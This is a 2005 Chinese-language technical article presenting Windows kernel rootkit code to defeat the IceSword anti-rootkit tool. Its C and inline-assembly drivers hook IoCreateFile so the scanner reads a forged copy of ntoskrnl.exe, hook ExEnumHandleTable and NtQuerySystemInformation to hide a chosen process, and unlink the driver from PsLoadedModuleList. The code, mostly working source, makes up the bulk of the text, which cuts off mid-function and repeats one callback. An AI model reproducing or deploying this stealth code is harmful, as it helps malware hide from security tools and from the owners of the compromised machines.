利用偽造內核文件來繞過IceSword的檢測

利用偽造內核文件來繞過IceSword的檢測創建時間:2005-12-20文章屬性:原創文章提交:backspray (nimaozhi_at_163.com)作者:倪茂志郵件:backspray008@gmail.com完成於:2005.12.20文章分為八個部分:一、為什麼需要偽造內核二、偽造內核文件三、隱藏進程四、隱藏內核模塊五、隱藏服務六、隱藏註冊表七、隱藏文件八、關於埠另:建議先看看最後那些參考文章。一、為什麼需要偽造內核:IceSword(以下簡稱IS)為了防止一些關鍵系統函數(包括所有服務中斷表中的函數以及IS驅動部分要使用到的一些關鍵函數)被patch,它直接讀取內核文件(以下簡稱「ntoskrnl.exe」),然後自己分析ntoskrnl.exe的PE結構來獲取關鍵系統函數的原始代碼並且把當前內核中所有的關鍵系統函數還原為windows默認狀態,這樣保證了IS使用到的函數不被patch過。也許你會想如果我們把還原後的函數再進行patch不還是能躲的過去嗎?筆者也試過,還專門寫了ring0的Timer來不停的patch自己想hook的函數。結果IS棋高一籌,在對所有的關鍵系統函數進行還原以後,IS每次調用這些函數前都會先把這些函數還原一次。這樣還是能保證IS自己使用到的關鍵系統函數不被patch。也許你還會想縮小Timer的時間間隔,以致於IS對這些函數進行還原後,這些函數馬上又被我們patch,這樣IS再調用這些函數時不還是執行了我們patch過的函數。這種想法粗略看起來可以,但你仔細一想就知道是不行的。治病還是得治本,也許你想過不如直接修改ntoskrnl.exe文件內容,使得IS一開始讀入的就已經是我們patch過得函數內容,這樣不就躲過去了。這種想法有兩個很大的副作用:1、在通常的默認情況下,windows的系統文件保護是打開的,要停止這種系統文件保護要付出很大的代價,有可能需要重啟。2、就算你停止了系統文件保護,也成功修改了ntoskrnl.exe,但是你不能保證系統每次都能正常關機 假如系統非法關機重啟,由於你還來未對ntoskrnl.exe進行還原,此時會發生什麼情況我也就不多說了。而偽造內核文件就很好的避免了上面談的兩大副作用。主要處理下面三個點:1、截獲並修改IS打開ntoskrnl.exe消息,使它指向我要偽造的內核文件(假設為「otoskrnl.exe」)2、在內核文件中定位我們要修改的數據。3、隱藏我們偽造的「otoskrnl.exe」,這點請看本文的第七部分。二、偽造內核文件:先說一下本文hook函數的方式:1、取該函數起始地址的前六個位元組內容保留在unsigned char resume[6]中。2、把構造的兩條指令push xxxxxxxx(我們自己構造的函數地址) ret 保留到unsigned char crackcode[6](這兩條指令剛好六個位元組)中。3、把該函數起始址的6個位元組替換成crackcode[6]的內容。這樣系統調用該函數時就會先跳到xxxxxxxx地址去執行我們構造的函數。而我們構造的xxxxxxxx函數的主要結構如下:1、把我們hook的那個函數起始的前6個位元組用resume[6]內容進行還原。2、對傳遞的程序參數進行處理等。3、調用被還原後的函數。4、此時可以處理函數返回後的數據等。5、把還原後的那個函數的起始地址前6個位元組再用crackcode[6]內容進行替換。6、返回。IS是通過IoCreateFile函數來打開ntoskrnl.exe,因此我們只要hook這個函數,並檢查其打開的文件名,如果是打開ntoskrnl.exe的話,我們把文件名替換成otoskrnl.exe再扔回去就OK了。這樣所有針對於ntoskrnl.exe文件的操作都會指向otoskrnl.exe, 當然前提是你在進入驅動前記得先把ntoskrnl.exe在原目錄下複製一份並命名為otoskrnl.exe。關於我們要修改的數據在ntoskrnl.exe中偏移的演算法也很簡單,這裡給出公式如下:函數在中文件偏移=當前函數在內存中的地址 - 當前函數所在驅動模塊的起始地址舉個例子來說,假設IoCreateFile在內核中的內存地址是0x8056d1234,由於它是在內存中ntoskrnl.exe模塊中,假設ntoskrnl.exe起始地址是0x8045d000。那麼IoCreateFile在磁碟上的ntoskrnl.exe文件中的偏移就是0x8056d123-0x8045d000=0x110123了。再進行詳細點說明:假設你對IoCreateFile函數進行了patch,使得該函數起始地址的6前六節的數據XXXXXX變成了YYYYYY。那麼你只要打開otoskrnl.exe,把文件偏移調整到上面所說的0x110123處,在寫入6個位元組的數據YYYYYY。那麼當IS打開otoskrnl.exe的話,讀出的數據就是YYYYYY了! 下面的代碼實現兩個功能,一個功能就是hook了IoCreateFile函數,使的所有指向ntoskrnl.exe的操作都指向otoskrnl.exe。另外一個功能就是進行偽造內核(函數RepairNtosFile( DWORD FunctionOffset, DWORD RepairDataPtr)),其中FunctionOffset參數內容就是我們要hook的函數在內存中的地址。RepairDataPtr是指向字元crackcode[6]第一個位元組的指針。主要功能就是先把要hook的函數地址在otoskrnl.exe文件中進行定位,然後再把crackcode[6]內容寫進去。#include "ntddk.h"#include "stdarg.h"#include "stdio.h"#include "ntiologc.h"#include "string.h"#define DWORD unsigned long#define WORD unsigned short#define BOOL unsigned longPCWSTRNTOSKRNL=L"ntoskrnl.exe"unsigned char ResumCodeIoCreateFile[6];unsigned char CrackCodeIoCreateFile[6];typedef NTSTATUS ( *IOCREATEFILE )(OUT PHANDLEFileHandle,IN ACCESS_MASKDesiredAccess,IN POBJECT_ATTRIBUTESObjectAttributes,OUT PIO_STATUS_BLOCKIoStatusBlock,IN PLARGE_INTEGERAllocationSize OPTIONAL,IN ULONGFileAttributes,IN ULONGShareAccess,IN ULONGDisposition,IN ULONGCreateOptions,IN PVOIDEaBuffer OPTIONAL,IN ULONGEaLength,IN CREATE_FILE_TYPECreateFileType,IN PVOIDExtraCreateParameters OPTIONAL,IN ULONGOptions );IOCREATEFILEOldIoCreateFile;DWORD GetFunctionAddr( IN PCWSTR FunctionName){UNICODE_STRING UniCodeFunctionName;RtlInitUnicodeString( &UniCodeFunctionName, FunctionName );return (DWORD)MmGetSystemRoutineAddress( &UniCodeFunctionName );}NTSTATUS RepairNtosFile( DWORD FunctionOffset, DWORD RepairDataPtr){NTSTATUS Status;HANDLE FileHandle;OBJECT_ATTRIBUTES FObject;IO_STATUS_BLOCK IOSB;UNICODE_STRINGFileName;LARGE_INTEGER NtosFileOffset;RtlInitUnicodeString ( &FileName, L"\SystemRoot\system32\otoskrnl.exe" );InitializeObjectAttributes ( &FObject, &FileName, OBJ_KERNEL_HANDLE, NULL, NULL);Status = ZwCreateFile(&FileHandle,FILE_WRITE_DATA+FILE_WRITE_ATTRIBUTES+FILE_WRITE_EA,&FObject,&IOSB,NULL,FILE_ATTRIBUTE_NORMAL,0,FILE_OPEN,FILE_NON_DIRECTORY_FILE,NULL,0 );if ( Status != STATUS_SUCCESS ){return Status;}//下面計算出函數在otoskrnl.exe中的偏移,NtoskrnlBase就是//Ntoskrnl.exe在內存中的起始地址,在第四部分隱藏內核模塊//時會提到它的獲取方法。NtosFileOffset.QuadPart = FunctionOffset - NtoskrnlBase; Status = ZwWriteFile(FileHandle,NULL,NULL,NULL,&IOSB,(unsigned char *)RepairDataPtr,0x6,&NtosFileOffset,NULL);if ( Status != STATUS_SUCCESS ){return Status;}Status = ZwClose( FileHandle );if ( Status != STATUS_SUCCESS ){return Status;}return STATUS_SUCCESS;}NTSTATUS NewIoCreateFile (OUT PHANDLEFileHandle,IN ACCESS_MASKDesiredAccess,IN POBJECT_ATTRIBUTESObjectAttributes,OUT PIO_STATUS_BLOCKIoStatusBlock,IN PLARGE_INTEGERAllocationSize OPTIONAL,IN ULONGFileAttributes,IN ULONGShareAccess,IN ULONGDisposition,IN ULONGCreateOptions,IN PVOIDEaBuffer OPTIONAL,IN ULONGEaLength,IN CREATE_FILE_TYPECreateFileType,IN PVOIDExtraCreateParameters OPTIONAL,IN ULONGOptions ){NTSTATUS Status;PCWSTR IsNtoskrnl = NULL;PCWSTR FileNameaddr=NULL;_asm//對IoCreateFile函數進行還原{pushadmov edi, OldIoCreateFilemov eax, dword ptr ResumCodeIoCreateFile[0]mov [edi], eaxmov ax, word ptr ResumCodeIoCreateFile[4]mov [edi+4], axpopad} _asm//獲取要打開的文件名地址{pushad mov edi, ObjectAttributesmov eax, [edi+8]mov edi, [eax+4]mov FileNameaddr, edipopad}IsNtoskrnl = wcsstr( FileNameaddr, NTOSKRNL ); //判斷是否時打開ntoskrnl.exeif ( IsNtoskrnl != NULL ){_asm//是的話,則把ntoskrnl.exe替換成otoskrnl.exe{pushadmov edi, IsNtoskrnlmov [edi], 0x006Fpopad}}Status = OldIoCreateFile (FileHandle,DesiredAccess,ObjectAttributes,IoStatusBlock,AllocationSize OPTIONAL,FileAttributes,ShareAccess,Disposition,CreateOptions,EaBuffer OPTIONAL,EaLength,CreateFileType,ExtraCreateParameters OPTIONAL,Options );_asm //把還原後的代碼又替換成我們偽造的代碼{pushadmov edi, OldIoCreateFilemov eax, dword ptr CrackCodeIoCreateFile[0]mov [edi], eaxmov ax, word ptr CrackCodeIoCreateFile[4]mov [edi+4], axpopad}return Status;}NTSTATUS PatchIoCreateFile(){NTSTATUS Status;OldIoCreateFile = ( IOCREATEFILE ) GetFunctionAddr(L"IoCreateFile");if ( OldIoCreateFile == NULL ){DbgPrint("Get IoCreateFile Addr Error!!");return STATUS_DEVICE_CONFIGURATION_ERROR;}_asm//關中斷 {CLI MOVEAX, CR0 AND EAX, NOT 10000HMOVCR0, EAX}_asm{pushad//獲取 IoCreateFile 函數的地址並保留該函數的起始六個位元組mov edi, OldIoCreateFilemov eax, [edi]mov dword ptr ResumCodeIoCreateFile[0], eaxmov ax, [edi+4]mov wordptr ResumCodeIoCreateFile[4], ax//構造要替換的代碼,使得系統調用函數時跳到我們構造的NewIoCreateFile去執行mov byte ptr CrackCodeIoCreateFile[0], 0x68lea edi, NewIoCreateFilemov dword ptr CrackCodeIoCreateFile[1], edimov byte ptr CrackCodeIoCreateFile[5], 0xC3//把構造好的代碼進心替換mov edi, OldIoCreateFilemov eax, dword ptr CrackCodeIoCreateFile[0]mov dword ptr[edi], eaxmov ax, word ptr CrackCodeIoCreateFile[4]mov word ptr[edi+4], axpopad}_asm //開中斷{MOVEAX, CR0 OREAX, 10000HMOVCR0, EAXSTI}Status = RepairNtosFile((DWORD)OldIoCreateFile,(DWORD)(&CrackCodeIoCreateFile));return Status;}上面給出的代碼中,有些是公共使用的部分,如:GetFunctionAddr()(用來獲取函數地址)以及RepairNtosFile()(功能上文已經介紹)函數。為節省版面,在下面的代碼中將直接對其進行引用,而不再貼出它們的代碼。下面的代碼將不會再include頭文件。而是直接定義自己所使用到的變數。其中include的投文件與上面的代碼相同,另外本文中所有的例子都沒有給出Unloaded常式(浪費版面),自己看著寫了另外,本文貼出的所有代碼,除了第六部分代碼只在XP下測試通過,其他代碼均再2K及XP下測試並通過。筆者在寫這些代碼時雖然兼顧到了2K3,但是筆者並沒有在2K3中測試過這些代碼。這些代碼中夾雜了一些彙編指令。這些彙編指令產生主要有兩種原因:一是當時的我認為某些東西用彙編指令來表示非常直觀,如還原與替換函數代碼那個部分。二是在分析一些數據時,由於眼前面對的是純16進位的數據,於是也沒多想咔咔就用彙編寫了一個循環下來。如果給你閱讀代碼造成了不便,筆者在這表示歉意。三、隱藏進程對付IS枚舉進程ID的思路是這樣的,hook系統函數ExEnumHandleTable,使它先運行我們指定的函數NewExEnumHandleTable,在NewExEnumHandleTable函數中,我們先獲取它的回調函數參數Callback所指向的函數地址,把它所指向的函數地址先放到OldCallback中,然後用我們構造的新的回調函數FilterCallback去替換掉原來的Callback。這樣該函數在執行回調函數時就會先調用我們給它的FilterCallback回調函數。在我們設計的FilterCallback中,判斷當前進程ID是否時我們要隱藏的進程ID,不是的話則把參數傳給OldCallback去執行,如果是的話則直接return。這樣就起到隱藏進程的作用。以上是對付IS的,對於應付windows進程管理的方法,與sinister使用的方法大體相同,不過有些不同。sinister是通過比較進程名來確定自己要隱藏的進程。這種方法對於隱藏要啟動兩個和兩個以上相同名字的進程比較可取,但問題是如果你只是要隱藏一個進程的話。那麼這個方法就顯得不完美了。完全可以通過直接比較進程ID來確定自己要隱藏的進程。建議不到不得以的時候盡量不要使用比較文件名的方法,太影響效率。下面的代碼中,GetProcessID()函數是用來從註冊表中讀取要隱藏的進程ID,當然首先你要在註冊表設置這個值。用註冊表還是很方便的。PatchExEnumHandleTable()函數是通過hook系統函數ExEnumHandleTable函數實現在IS中隱藏目標進程,PatchNtQuerySystemInformation ()函數是通過hook系統函數NtQuerySystemInformation並通過比較進程ID的方法實現隱藏進程。HANDLE ProtectID;unsigned char ResumCodeExEnumHandleTable[6];unsigned char CrackCodeExEnumHandleTable[6];unsigned char ResumCodeNtQuerySystemInformation[6];unsigned char CrackCodeNtQuerySystemInformation[6];typedef NTSTATUS (*NTQUERYSYSTEMINFORMATION)(IN ULONGSystemInformationClass,OUT PVOIDSystemInformation,IN ULONGSystemInformationLength,OUT PULONGReturnLength OPTIONAL);NTQUERYSYSTEMINFORMATION OldNtQuerySystemInformation;typedef VOID (*EXENUMHANDLETABLE)(PULONGHandleTable,PVOIDCallback,PVOIDParam,PHANDLEHandleOPTIONAL );EXENUMHANDLETABLEOldExEnumHandleTable;typedef BOOL (*EXENUMHANDLETABLECALLBACK)(DWORD HANDLE_TALBE_ENTRY,DWORDPID,PVOIDParam);EXENUMHANDLETABLECALLBACKOldCallback;NTSTATUS GetProcessID ( IN PUNICODE_STRING theRegistryPath){OBJECT_ATTRIBUTES ObjectAttributes;NTSTATUS Status;HANDLE KeyHandle;PHANDLE Phandle;PKEY_VALUE_PARTIAL_INFORMATION valueInfoP;ULONG valueInfoLength,returnLength;UNICODE_STRING UnicodeProcIDreg;InitializeObjectAttributes ( &ObjectAttributes, theRegistryPath, OBJ_CASE_INSENSITIVE, NULL, NULL ); Status = ZwOpenKey ( &KeyHandle, KEY_ALL_ACCESS, &ObjectAttributes );if (Status != STATUS_SUCCESS){DbgPrint("ZwOpenKey Wrong
");return STATUS_DEVICE_CONFIGURATION_ERROR;}RtlInitUnicodeString ( &UnicodeProcIDreg, L"ProcessID" );valueInfoLength = sizeof(KEY_VALUE_PARTIAL_INFORMATION);valueInfoP = (PKEY_VALUE_PARTIAL_INFORMATION) ExAllocatePool (NonPagedPool, valueInfoLength );Status = ZwQueryValueKey ( KeyHandle, &UnicodeProcIDreg, KeyValuePartialInformation, valueInfoP, valueInfoLength, &returnLength );if (Status != STATUS_SUCCESS){DbgPrint("ZwOpenKey Wrong
");return STATUS_DEVICE_CONFIGURATION_ERROR;}Phandle = (PHANDLE)(valueInfoP->Data);ProtectID = *Phandle;ZwClose(KeyHandle);return STATUS_SUCCESS;}BOOL FilterCallback (DWORD HANDLE_TALBE_ENTRY,DWORDPID,PVOIDParam ){if ( PID != (DWORD)ProtectID)//判斷是否是我們要隱藏的進程{return OldCallback (HANDLE_TALBE_ENTRY,PID,Param );}else{return FALSE; //是的話直接返回}}BOOL FilterCallback (DWORD HANDLE_TALBE_ENTRY,DWORDPID,PVOIDParam ){if ( PID != (DWORD)ProtectID)//判斷是否是我們要隱藏的進程{return OldCallback (HANDLE_TALBE_ENTRY,PID,Param );}else{return FALSE; //是的話直接返回}}VOID NewExEnumHandleTable(PULONGHandleTable,PVOIDCallback,PVOIDParam,PHANDLEHandleOPTIONAL ){OldCallback = Callback; //把Callback參數給OldCallback進行保留Callback = FilterCallback; //用FilterCallback替換調原來的Callback_asm//還原{pushadmov edi, OldExEnumHandleTablemov eax, dword ptr ResumCodeExEnumHandleTable[0]mov [edi], eaxmov ax, word ptr ResumCodeExEnumHandleTable[4]mov [edi+4], axpopad}OldExEnumHandleTable (HandleTable,Callback,Param,HandleOPTIONAL );_asm //替換{pushadmov edi, OldExEnumHandleTablemov eax, dword ptr CrackCodeExEnumHandleTable[0]mov [edi], eaxmov ax, word ptr CrackCodeExEnumHandleTable[4]mov [edi+4], axpopad}return ;}NTSTATUS PatchExEnumHandleTable(){NTSTATUS Status; OldExEnumHandleTable = (EXENUMHANDLETABLE) GetFunctionAddr(L"ExEnumHandleTable"); if ( OldExEnumHandleTable == NULL ) { DbgPrint("Get ExEnumHandleTable Addr Error!!"); return STATUS_DEVICE_CONFIGURATION_ERROR; } _asm//關中斷 {CLIMOVEAX, CR0 AND EAX, NOT 10000H MOVCR0, EAX} _asm{pushad//獲取ExEnumHandleTable函數的地址並保留該函數的起始六個位元組mov edi, OldExEnumHandleTablemov eax, [edi]mov dword ptr ResumCodeExEnumHandleTable[0], eaxmov ax, [edi+4]mov wordptr ResumCodeExEnumHandleTable[4], ax//構造要替換的代碼,使得系統調用該函數時跳到我們構造的NewExEnumHandleTable去執行mov byte ptr CrackCodeExEnumHandleTable[0], 0x68lea edi, NewExEnumHandleTablemov dword ptr CrackCodeExEnumHandleTable[1], edimov byte ptr CrackCodeExEnumHandleTable[5], 0xC3//把構造好的代碼進心替換mov edi, OldExEnumHandleTablemov eax, dword ptr CrackCodeExEnumHandleTable[0]mov dword ptr[edi], eaxmov ax, word ptr CrackCodeExEnumHandleTable[4]mov word ptr[edi+4], axpopad} _asm //開中斷{MOVEAX, CR0OREAX, 10000H MOVCR0, EAX STI}Status = RepairNtosFile((DWORD)OldExEnumHandleTable,(DWORD)(&CrackCodeExEnumHandleTable) );return Status;}NTSTATUS NewNtQuerySystemInformation(IN ULONGSystemInformationClass,OUT PVOIDSystemInformation,IN ULONGSystemInformationLength,OUT PULONGReturnLength OPTIONAL ){NTSTATUS Status;DWORD Bprocess;_asm{pushadmov edi, OldNtQuerySystemInformationmov eax, dword ptr ResumCodeNtQuerySystemInformation[0]mov [edi], eaxmov ax, word ptr ResumCodeNtQuerySystemInformation[4]mov [edi+4], axpopad}Status=OldNtQuerySystemInformation ( SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength OPTIONAL );_asm {pushadmov edi, OldNtQuerySystemInformationmov eax, dword ptr CrackCodeNtQuerySystemInformation[0]mov [edi], eaxmov ax, word ptr CrackCodeNtQuerySystemInformation[4]mov [edi+4], axpopad}if ( Status != STATUS_SUCCESS || SystemInformationClass!=5 ){return Status; }_asm{pushadmov ecx, ProtectIDmov edi, SystemInformationProcessListNEnd:mov Bprocess, edimov eax, [edi]test eax, eaxjz ProcessListEndadd edi, eaxmov eax, [edi+0x44]cmp eax, ecxjz FindOutjmp ProcessListNEndFindOut:mov ebx, [edi]test ebx, ebxjz listendmov eax, Bprocessmov edx, [eax]add ebx, edxmov [eax], ebxjmp hideOKlistend:mov eax,Bprocessmov [eax],0hideOK:ProcessListEnd:popad}return Status;}NTSTATUS PatchNtQuerySystemInformation (){NTSTATUS Status;OldNtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION) GetFunctionAddr(L"NtQuerySystemInformation");if ( OldNtQuerySystemInformation == NULL ){DbgPrint("Get NtQuerySystemInformation Addr Error!!");return STATUS_DEVICE_CONFIGURATION_ERROR;}_asm//關中斷 {CLIMOVEAX, CR0AND EAX, NOT 10000H MOVCR0, EAX}_asm{pushad//獲取 NtQuerySystemInformation 函數的地址並保留該函數的起始六個位元組mov edi, OldNtQuerySystemInformationmov eax, [edi]mov dword ptr ResumCodeNtQuerySystemInformation[0], eaxmov ax, [edi+4]mov wordptr ResumCodeNtQuerySystemInformation[4], ax//構造要替換的代碼,使得系統調用該函數時跳到我們構造的NewNtQuerySystemInformation去執行mov byte ptr CrackCodeNtQuerySystemInformation[0], 0x68lea edi, NewNtQuerySystemInformationmov dword ptr CrackCodeNtQuerySystemInformation[1], edimov byte ptr CrackCodeNtQuerySystemInformation[5], 0xC3//把構造好的代碼進心替換mov edi, OldNtQuerySystemInformationmov eax, dword ptr CrackCodeNtQuerySystemInformation[0]mov dword ptr[edi], eaxmov ax, word ptr CrackCodeNtQuerySystemInformation[4]mov word ptr[edi+4], axpopad}_asm //開中斷{MOVEAX, CR0OREAX, 10000HMOVCR0, EAX STI}Status = RepairNtosFile((DWORD)OldNtQuerySystemInformation,(DWORD)(&CrackCodeNtQuerySystemInformation) );return Status;}四、隱藏內核模塊對於內核模塊,我原以為IS會通過獲取內核變數PsLoadedModuleList,然後在通過這個來遍歷所有的內核模塊。假設此時獲得結果1。通過調用函數NtQuerySystemInformation,參數SystemModuleInformation,假設此時獲得結果2。再把結果1與結果2進行比較,這樣就會發現被隱藏的模塊。但事實證明我想的太複雜了。而IS只進行了獲取結果2的過程。而沒有去執行獲取結果1的過程。下面的代碼可以在IS下隱藏自己的內核模塊,主要思路是,首先獲取一個自己這個模塊中任意函數的地址,把該地址給DriverAddr,利用DriverAddr在上述的結果2中定位,通過DriverAddr肯定會大於自己這個模塊的起始地址並且小於自己這個模塊的結束地址來定位。DWORD DriverAddr;unsigned char ResumCodeNtQuerySystemInformation[6];unsigned char CrackCodeNtQuerySystemInformation[6];typedef NTSTATUS (*NTQUERYSYSTEMINFORMATION)(IN ULONGSystemInformationClass,OUT PVOIDSystemInformation,IN ULONGSystemInformationLength,OUT PULONGReturnLength OPTIONAL);NTQUERYSYSTEMINFORMATION OldNtQuerySystemInformation;NTSTATUS NewNtQuerySystemInformation(IN ULONGSystemInformationClass,OUT PVOIDSystemInformation,IN ULONGSystemInformationLength,OUT PULONGReturnLength OPTIONAL ){NTSTATUS Status;_asm//還原{pushadmov edi, OldNtQuerySystemInformationmov eax, dword ptr ResumCodeNtQuerySystemInformation[0]mov [edi], eaxmov ax, word ptr ResumCodeNtQuerySystemInformation[4]mov [edi+4], axpopad}Status = ZwQuerySystemInformation ( SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength OPTIONAL );_asm //替換{pushadmov edi, OldNtQuerySystemInformationmov eax, dword ptr CrackCodeNtQuerySystemInformation[0]mov [edi], eaxmov ax, word ptr CrackCodeNtQuerySystemInformation[4]mov [edi+4], axpopad}if ( Status != STATUS_SUCCESS || SystemInformationClass!=0xb )//是否是獲取模塊信息{return Status;}_asm{pushadmov edi, SystemInformationmov ecx, [edi]//eax=模塊數目add edi, 0x4NextModuleInfo:mov eax, [edi+0x8]mov edx, [edi+0xC]add edx, eaxmov ebx, DriverAddrcmp ebx, eaxjaFirstMatchdec ecxtest ecx, ecxjzArrayEndadd edi, 0x11cjmp NextModuleInfoFirstMatch:cmp ebx, edxjb SecMatch//找到的話則跳去把該模塊以後的模塊數據前移已覆蓋掉此模塊dec ecxtest ecx, ecxjzArrayEndadd edi, 0x11cjmp NextModuleInfoSecMatch:dec ecxxor eax, eaxmov ax, 0x11cmul cxxor ecx, ecxmov ecx, eaxmov esi, ediadd esi, 0x11crep movsbmov edi, SystemInformationmov eax, [edi]dec eaxmov [edi], eax//完成ArrayEnd:popad}return Status;}NTSTATUS PatchNtQuerySystemInformation(){NTSTATUS Status;OldNtQuerySystemInformation=(NTQUERYSYSTEMINFORMATION)( GetFunctionAddr(L"NtQuerySystemInformation") );if ( OldNtQuerySystemInformation == NULL ){return STATUS_DEVICE_CONFIGURATION_ERROR;}_asm//關中斷{CLIMOVEAX, CR0 AND EAX, NOT 10000H MOVCR0, EAX}_asm{pushad//獲取 NtQuerySystemInformation 函數的地址並保留該函數的起始六個位元組lea eax, NewNtQuerySystemInformationmov DriverAddr, eax //把NewNtQuerySystemInformation函數地址給DriverAddrmov edi, OldNtQuerySystemInformationmov eax, [edi]mov dword ptr ResumCodeNtQuerySystemInformation[0], eaxmov ax, [edi+4]mov wordptr ResumCodeNtQuerySystemInformation[4], ax//構造要替換的代碼,使得系統調用該函數時跳到我們構造的NewNtQuerySystemInformation去執行mov byte ptr CrackCodeNtQuerySystemInformation[0], 0x68lea edi, NewNtQuerySystemInformationmov dword ptr CrackCodeNtQuerySystemInformation[1], edimov byte ptr CrackCodeNtQuerySystemInformation[5], 0xC3//把構造好的代碼進行替換mov edi, OldNtQuerySystemInformationmov eax, dword ptr CrackCodeNtQuerySystemInformation[0]mov dword ptr[edi], eaxmov ax, word ptr CrackCodeNtQuerySystemInformation[4]mov word ptr[edi+4], axpopad}_asm //開中斷{MOVEAX, CR0OREAX, 10000H MOVCR0, EAX STI}Status = RepairNtosFile ((DWORD)OldNtQuerySystemInformation,(DWORD)&CrackCodeNtQuerySystemInformation[0] );return Status;}你可能發現上面這段代碼hook的也是NtQuerySystemInformation函數,而在隱藏進程中不是已經hook了NtQuerySystemInformation函數,這樣不是造成重合了。在實際操作中,你只要hook一次NtQuerySystemInformation函數,然後在自己定義NewNtQuerySystemInformation中增加幾個選擇項就是了。我這樣寫是為了便於理解,使它們每個部分自成一體,如果按實際代碼搬出來的話,顯得太支離破碎(支離破碎的支到底是這個「支」還是這個「肢」??)了。不知道pjf看到這裡之後會不會想著給IS升級,增加IS檢測隱藏內核模塊的功能,因此下面一併給出了如何在PsLoadedModuleList鏈表刪除自身的代碼,關於如何獲取PsLoadedModuleList這個內核變數的地址我就不說了,不了解的請參看TK的《獲取Windows 系統的內核變數》。PsLoadedModuleList所指向的是結構是_MODULE_ENTRY,微軟沒有給出定義,但是uzen_op(fuzen_op@yahoo.com)在FU_Rootkit2.0的資源中給出了MODULE_ENTRY的結構定義如下:typedef struct _MODULE_ENTRY {LIST_ENTRY le_mod;DWORDunknown[4];DWORDbase;DWORDdriver_start;DWORDunk1;UNICODE_STRING driver_Path;UNICODE_STRING driver_Name;} MODULE_ENTRY, *PMODULE_ENTRY;進一步分析後發現上述結構中的unk1成員的值其實就是該模塊文件的大小.從新對該結構定義如下:typedef struct _MODULE_ENTRY {LIST_ENTRY le_mod;DWORDunknown[4];DWORDbase;DWORDdriver_start;DWORDSize;UNICODE_STRING driver_Path;UNICODE_STRING driver_Name;} MODULE_ENTRY, *PMODULE_ENTRY;PsLoadedModuleList指向的是一個帶表頭的雙向鏈表,該鏈表的表頭所指向的第一個MODULE_ENTRY的就是ntoskrnl.exe,此時它的base成員的值就是ntoskrnl.exe在內存中的起始地址.這是就可以順手取一下NtoskrnlBase的值。有一點要注意的是,如果DriverEntry()常式未返回STATUS_SUCCESS之前。系統不會把你加入到PsLoadedModuleList鏈表中,此時你在PsLoadedModuleList中是找不到自己的。當然為了這個而寫一個分發常式也行。我是在自己hook的那些系統函數中設了一個閥值,閥值初始值為「開」,這樣系統調用這個函數時都會先檢測閥值是否是「開」,是的話跑到PsLoadedModuleList找一下我們的模塊是否存在,存在的話說明DriverEntry()已經返回成功,馬上把自己從PsLoadedModuleList鏈表中刪除,然後把閥值設成「關」,這樣系統下次調用這個函數時發現閥值是「關」的就不會傻乎乎的又跑到PsLoadedModuleList中去摟一遍了。DWORD NtoskrnlBase=0;DWORD PsLoadedModuleListPtr=0;typedef struct _MODULE_ENTRY {LIST_ENTRY le_mod;DWORDunknown[4];DWORDbase;DWORDdriver_start;DWORDSize;UNICODE_STRING driver_Path;UNICODE_STRING driver_Name;} MODULE_ENTRY, *PMODULE_ENTRY;NTSTATUS GetPsLoadedModuleListPtr(){UNICODE_STRINGUStrName;DWORD KdEnableDebuggerAddr;DWORD InitSystem=0;DWORD KdDebuggerDataBlock=0;PMODULE_ENTRY NtosModPtr;unsigned char * DebuggerDataBlockPtr;unsigned char * Sysinit;int i,j;RtlInitUnicodeString (&UStrName, L"KdEnableDebugger" );KdEnableDebuggerAddr=(DWORD)MmGetSystemRoutineAddress( &UStrName );if ( !KdEnableDebuggerAddr ){return STATUS_DEVICE_CONFIGURATION_ERROR;}for (i=0, Sysinit = (unsigned char * )KdEnableDebuggerAddr; i<0x50; i++, Sysinit++){if ( (*Sysinit) == 0xc6 && (*(Sysinit+0x1)) == 0x05 && (*(Sysinit+0x6)) == 0x01 && (*(Sysinit+0x7)) == 0xE8 ){_asm{pushadmov edi, Sysinitmov eax, [edi+0x8]add edi, 0xCadd edi, eaxmov InitSystem, edipopad}}if ( InitSystem != 0) break;}if ( InitSystem == 0 ){return STATUS_DEVICE_CONFIGURATION_ERROR;} for ( i=0, DebuggerDataBlockPtr = (unsigned char * )InitSystem; i<0x70; i++,DebuggerDataBlockPtr++){if ( *((DWORD*)DebuggerDataBlockPtr) == 0x4742444b ){DebuggerDataBlockPtr--;DebuggerDataBlockPtr--;for (j=0; j<0x10; j++, DebuggerDataBlockPtr--){if ( *DebuggerDataBlockPtr == 0x68 ){_asm {pushadmov edi, DebuggerDataBlockPtrinc edimov eax, [edi]mov KdDebuggerDataBlock, eaxpopad}break;}}}if ( KdDebuggerDataBlock != 0 ){break;}}if ( KdDebuggerDataBlock == 0 ){return STATUS_DEVICE_CONFIGURATION_ERROR;}_asm{pushadmov edi, KdDebuggerDataBlockmov eax, [edi+0x48]mov PsLoadedModuleListPtr, eaxpopad}if ( PsLoadedModuleListPtr == 0 ){return STATUS_DEVICE_CONFIGURATION_ERROR;}//獲取 Ntoskrnl 的起始地址NtosModPtr = ( PMODULE_ENTRY ) PsLoadedModuleListPtr;NtosModPtr = ( PMODULE_ENTRY ) (NtosModPtr->le_mod.Flink ); NtoskrnlBase = (DWORD) ( NtosModPtr->base );return STATUS_SUCCESS;}NTSTATUS RemoveModule ( ){DWORD RemoveModleAddr;PMODULE_ENTRY PModPtr_Current;PMODULE_ENTRY PModPtr_Flink;PMODULE_ENTRY PModPtr_Blink;PModPtr_Current=(PMODULE_ENTRY)PsLoadedModuleListPtr;PModPtr_Flink = (PMODULE_ENTRY)(PModPtr_Current->le_mod.Flink);//Get RemoveModle AddrRemoveModleAddr= DriverAddr;for ( ; PModPtr_Flink->le_mod.Flink != (PLIST_ENTRY) PModPtr_Current ; PModPtr_Flink = (PMODULE_ENTRY)(PModPtr_Flink->le_mod.Flink) ){if ( RemoveModleAddr > ((DWORD)PModPtr_Flink->base) && RemoveModleAddr < ((DWORD)(PModPtr_Flink->Size) + ((DWORD)PModPtr_Flink->base)) ){PModPtr_Blink = (PMODULE_ENTRY)(PModPtr_Flink->le_mod.Blink);PModPtr_Flink = (PMODULE_ENTRY)(PModPtr_Flink->le_mod.Flink);PModPtr_Blink->le_mod.Flink= (PLIST_ENTRY)PModPtr_Flink;PModPtr_Flink->le_mod.Blink= (PLIST_ENTRY)PModPtr_Blink;IsDelModule=TRUE;break;}}if ( IsDelModule != TRUE ){return STATUS_DEVICE_CONFIGURATION_ERROR;}return 